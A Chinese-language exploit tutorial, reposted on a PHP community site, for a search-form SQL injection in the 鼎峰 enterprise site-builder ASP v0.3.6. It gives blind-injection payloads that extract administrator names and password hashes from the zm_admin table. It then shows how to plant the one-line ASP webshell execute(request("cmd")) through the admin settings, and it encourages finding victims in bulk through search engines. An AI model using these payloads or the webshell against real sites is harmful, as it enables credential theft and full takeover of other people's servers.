当前位置:  首页  >  服务器技术  >  Linux/unix  >  Linux教程

鼎峰企业智能建站系统搜索注入漏洞

发布日期:2010-04-18发布作者:莫ㄨ问影响版本:鼎峰企业智能建站系统ASP版V0.3.6漏洞描述:昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分

发布日期:2010-04-18  
发布作者:莫ㄨ问   
影响版本:鼎峰企业智能建站系统ASP版 V0.3.6
漏洞描述: 
 

昨天利用这个系统拿了一个webshell,但是是利用下载默认数据库的,后面发现者这套系统界面搞得还不错,就顺便看下它的安全性了。本文就其搜索注入漏洞简单分析和利用,及批量拿shell。


一.  简单分析


漏洞文件:zm_search.asp代码如下

t=Request.Form("t")
key=Request.Form("key")

if t="" or key="" then
  Response.Write("《script》alert('请输入关键词!');history.back();《script》")
  Response.End()
end if

if t=1 then
  sql="select * from Zm_Product where name like '%"&key&"%' order by ord asc,id desc"
  menuname="搜索产品"
else
  sql="select * from Zm_News where title like '%"&key&"%' order by  ord asc,id desc"
  menuname="搜索新闻"
end if

对表单中变量t和key直接获取,只判断是否为空,不为空就带入查询,这就造成了搜索型注入漏洞。
这里照顾下新手:
学习下SQL数据查询中WHERE子句使用Like操作符的知识,Like操作符所起的作用就是模糊查询,要使用Like进行模糊查询必须还要配合通配符才能完成,"%"就是Like操作符中的一种通配符,它代表零个或多个任意字符,为了大家理解,为大家举了一些例子:
Like "黑客%" 返回以黑客开始的任意字符
Like "%黑客" 返回以黑客结尾的任意字符
Like "%黑客%" 返回以包含黑客的任意字符
我们打开一个网站,在搜索框里输入关键字' and 1=1 and '%'='关键字就为"黑帽"吧,点搜索,结果返回与黑帽有关的资料,即语句 黑客' and 1=1 and '%'=',就属于正常,后面在输入语句黑客' and 1=2 and '%'=' 没有找到相关资料。当然这里注意,这个关键字是要能够找到文章的。

二、 漏洞利用


原理知道了,我们构造一下注入语句,这里我们以搜索“鼎峰”这个关键字,鼎峰所有是可以搜索到内容的,记住这里一定要可以搜索到否则后面很难分辨。我们在回到原来的首页搜索输入如下语句:(构造的时候要注意闭合前后%和单引号)
鼎峰%' and 1=1 and '%'='           -----------------语句1
可是无法输入全部代码,看来限制了搜索长度,打开发现最大是20个字符,在看下代码发现它是将search。Asp提交给zm_search.asp处理。这样我们就可以自己写个表单给t和key赋值来突破长度限制。代码就不给了,很简单大家自己写下。把表单action值设置成http://url/search.asp不能提交给zm_search.asp,不清楚的自己去下个代码来看。好了,输入语句1 图我就不配了转发的 有外联的!

 

在一次改变表单中1=1的内容就可以了猜解出来,这里照顾新手,我列出语句并注释作用:

语句1:鼎峰%' and 1=1 and '%'='        ;1=1返回找到一个,即正常
语句2:鼎峰%' and 1=1 and '%'='        ;1=2显然不成立,找不到任何文章,即返回异常
语句3:鼎峰%' and  1<(select count(*) from zm_admin) and '%'='  ;判断管理员的人数是否大于1
语句4:鼎峰%' and (select count(name) from zm_admin)>0 and '%'=' ;判断是否存在表段name,通过查看数据库我们可以直接知道存在的。
语句5:鼎峰%' and (select top 1 asc(mid(name,1,1)) from zm_admin)>96  and '%'=' ;
功能:判断name表段第一个用户名的name的第一个字符的ascii码是否大于96,即是否等于a
同理可以把语句5的中的name字段换成password字段,同样的方法来才接密码md5散列。
当然这种注入用工具也可以扫描出来,但是需要自己添加字段,另外关键词也自己加一个可以搜索到信息的。这里我推荐NBSI和HDSI这两款工具,很简单这里就不演示了。Ok了
 

三、  后台拿webshell
注入可以得到管理员的密码,那么进入后台看看默认地址:Manage/login.asp 这里简单利用R()函数过滤掉了单引号,万能密码没戏了。直接用注入拿到管理密码登陆。在网站配置标题直接写入一句话木马,不过这里要注意闭合语句,构造如下:

1"%><%execute(request("cmd"))%><%'
插马成功,如图3:
[localfile=4]

Ok了。百度搜下就可以批量拿webshell了,这里不说大家自己发挥,不要用于非法用途。当然这里系统还有很多问题,有兴趣的朋友可以继续挖掘。
本文到此结束,在此申明本文只作技术交流学习,不得用于非法用途,否则后果自负。
文中难免有错,有疑问的可以联系我www.awolf07.cn或者http://forum.bhst.org


提交的htm表单,比较简单,呵呵..不然有朋友说我忽悠人.


http://localhost/search.asp">
  类型:
 
 


    内容:
     
 


 


   
 



图片附件(缩略图):

 

吐了个 "CAO" !
扫码关注 PHP1 官方微信号
PHP1.CN | 中国最专业的PHP中文社区 | PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | PHP问答
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved PHP1.CN 第一PHP社区 版权所有